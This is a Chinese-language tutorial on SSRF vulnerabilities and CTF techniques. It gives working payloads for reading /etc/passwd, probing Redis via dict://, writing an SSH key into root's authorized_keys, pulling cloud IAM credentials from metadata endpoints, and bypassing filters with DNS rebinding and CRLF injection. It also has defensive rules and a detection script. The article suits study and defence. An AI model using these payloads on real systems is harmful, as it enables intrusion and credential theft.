尧图建网站 尧图建网站 YAOTU WEB BUILD 免费咨询
ARTICLE DETAIL

资讯详情

深耕网站建设与建站编程的一线实战洞察。

SSRF漏洞原理与CTF实战技巧详解

SSRF漏洞原理与CTF实战技巧详解 1. SSRF漏洞原理与CTF中的典型应用服务器端请求伪造(Server-Side Request Forgery)是一种允许攻击者诱导服务器向非预期目标发起请求的安全漏洞。在CTF竞赛中这类题目通常考察选手对网络协议栈的理解和利用技巧。1.1 漏洞形成机制当Web应用未对用户提供的URL参数进行严格校验时攻击者可以构造特殊请求访问内网服务如Redis、MySQL读取本地文件file://协议进行端口扫描dict://协议与云元数据接口交互169.254.169.254关键点服务端信任了客户端传入的URL参数且未实施有效的过滤机制1.2 CTF中的常见考察方向根据近年赛事统计SSRF题目主要涉及协议利用30%要求选手熟悉各URL scheme的特性内网探测25%需要构造特定路径绕过限制元数据利用20%云环境特定题目组合利用15%配合XXE、RCE等其他漏洞防御绕过10%应对黑名单过滤等防护措施2. 关键协议利用详解2.1 文件协议利用file://最基础的利用方式用于读取服务器本地文件http://vuln-site.com/ssrf.php?urlfile:///etc/passwd绕过技巧双重编码file:///→%66%69%6c%65%3a%2f%2f%2f使用///替代/file:/etc/passwd→file:///etc/passwd空字节截断file:///etc/passwd%00.jpg2.2 字典协议利用dict://可用于端口扫描和服务探测http://vuln-site.com/ssrf.php?urldict://127.0.0.1:6379/info实战要点常见端口扫描顺序6379(Redis)、3306(MySQL)、27017(MongoDB)结合CRLF注入dict://127.0.0.1:6379/SET%20key%20value%0D%0AQUIT信息泄露通过Redis的INFO命令获取服务器配置2.3 HTTP/HTTPS协议高级利用当目标限制特定协议时http://vuln-site.com/ssrf.php?urlhttp://127.0.0.1:8080/admin特殊技巧使用符号http://foo127.0.0.1:8080IPv6地址表示http://[::1]:8080短网址服务绕过将恶意URL转换为短链域名重绑定利用DNS TTL差异进行攻击3. 云环境SSRF实战3.1 元数据服务利用主流云平台元数据接口AWS: http://169.254.169.254/latest/meta-data/ GCP: http://metadata.google.internal/computeMetadata/v1/ Azure: http://169.254.169.254/metadata/instance?api-version2021-02-01攻击步骤确认云平台类型尝试不同API版本路径获取IAM凭证、SSH密钥等敏感信息3.2 容器环境突破在K8s环境中的特殊利用http://vuln-site.com/ssrf.php?urlhttp://kubernetes.default.svc.cluster.local关键端点/api/v1/namespaces/default/pods/var/run/secrets/kubernetes.io/serviceaccount/token4. 防御绕过技术精要4.1 黑名单绕过技巧过滤项绕过方法示例127.0.0.1十进制IP2130706433localhost0.0.0.0http://0/file://大小写混合FiLe:///etc/passwd:80端口非标端口http://127.0.0.1:8080点号限制省略写法http://127.1/4.2 DNS重绑定攻击实施步骤注册可控域名并设置极短TTL首次解析返回合法IP通过校验请求过程中DNS更新为内网IP服务器实际访问目标内网服务工具推荐rbndr.us现成重绑定服务dnsbin.zhack.ca自定义TTL5. 典型CTF例题解析5.1 基础文件读取题题目特征存在图片预览功能URL参数可控返回内容显示在页面中解题步骤1. 观察请求/image?urlhttp://example.com/1.jpg 2. 尝试协议urlfile:///etc/passwd 3. 获取提示发现/home/ctf/flag.txt路径 4. 最终payloadurlfile:///home/ctf/flag.txt5.2 内网Redis利用题题目环境开放SSRF漏洞点内网存在未授权Redis需要获取/root/flag攻击链构造1. 探测Redisurldict://127.0.0.1:6379/info 2. 写入SSH密钥 urldict://127.0.0.1:6379/config:set:dir:/root/.ssh/ urldict://127.0.0.1:6379/config:set:dbfilename:authorized_keys urldict://127.0.0.1:6379/set:key:\n\nssh-rsa AAAAB3N...\n\n urldict://127.0.0.1:6379/save 3. SSH连接获取flag5.3 云元数据综合题题目设计部署在AWS环境有SSRF漏洞需要获取IAM角色凭证解题流程1. 确认元数据接口存活 curl http://vuln-site.com/ssrf?urlhttp://169.254.169.254/ 2. 获取角色名称 curl http://vuln-site.com/ssrf?urlhttp://169.254.169.254/latest/meta-data/iam/security-credentials/ 3. 获取临时凭证 curl http://vuln-site.com/ssrf?urlhttp://169.254.169.254/latest/meta-data/iam/security-credentials/ctf-role 4. 使用AWS CLI访问敏感服务6. 防御方案与检查清单6.1 开发防护建议输入验证使用白名单校验协议和域名禁用危险schemefile、dict、gopher等网络隔离location /proxy { deny 127.0.0.1; deny 10.0.0.0/8; deny 169.254.169.254; }请求限制设置CURLOPT_TIMEOUT禁用CURLOPT_FOLLOWLOCATION6.2 漏洞检测方法自动化检测脚本示例import requests def check_ssrf(url): test_cases [ file:///etc/passwd, http://169.254.169.254, dict://127.0.0.1:6379/info ] for case in test_cases: r requests.get(f{url}?param{case}) if root:x in r.text or redis_version in r.text: return True return False7. 实战经验与技巧信息收集阶段使用Burp Collaborator检测出网情况尝试不同协议探测可用端口内网渗透时# 使用ffuf进行路径爆破 ffuf -u http://vuln-site.com/ssrf?urlhttp://127.0.0.1:8080/FUZZ -w wordlist.txt遇到WAF时尝试HTTP参数污染url[]http://1url[]evil.com使用特殊字符http://ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ日志分析技巧# 在MySQL中查找可疑请求 SELECT * FROM access_log WHERE url LIKE %file://% OR url LIKE %127.0.0.1%;在最近的CTF比赛中我遇到一道需要组合CRLF注入和SSRF的题目。通过以下payload成功利用http://vuln-site.com/proxy?urlhttp://127.0.0.1:8080/%0D%0AX-Forwarded-For:%20127.0.0.1%0D%0AX-Real-IP:%20127.0.0.1%0D%0A%0D%0APOST%20/admin%20HTTP/1.1这个案例说明在实际渗透中需要灵活组合各种技术手段。
返回列表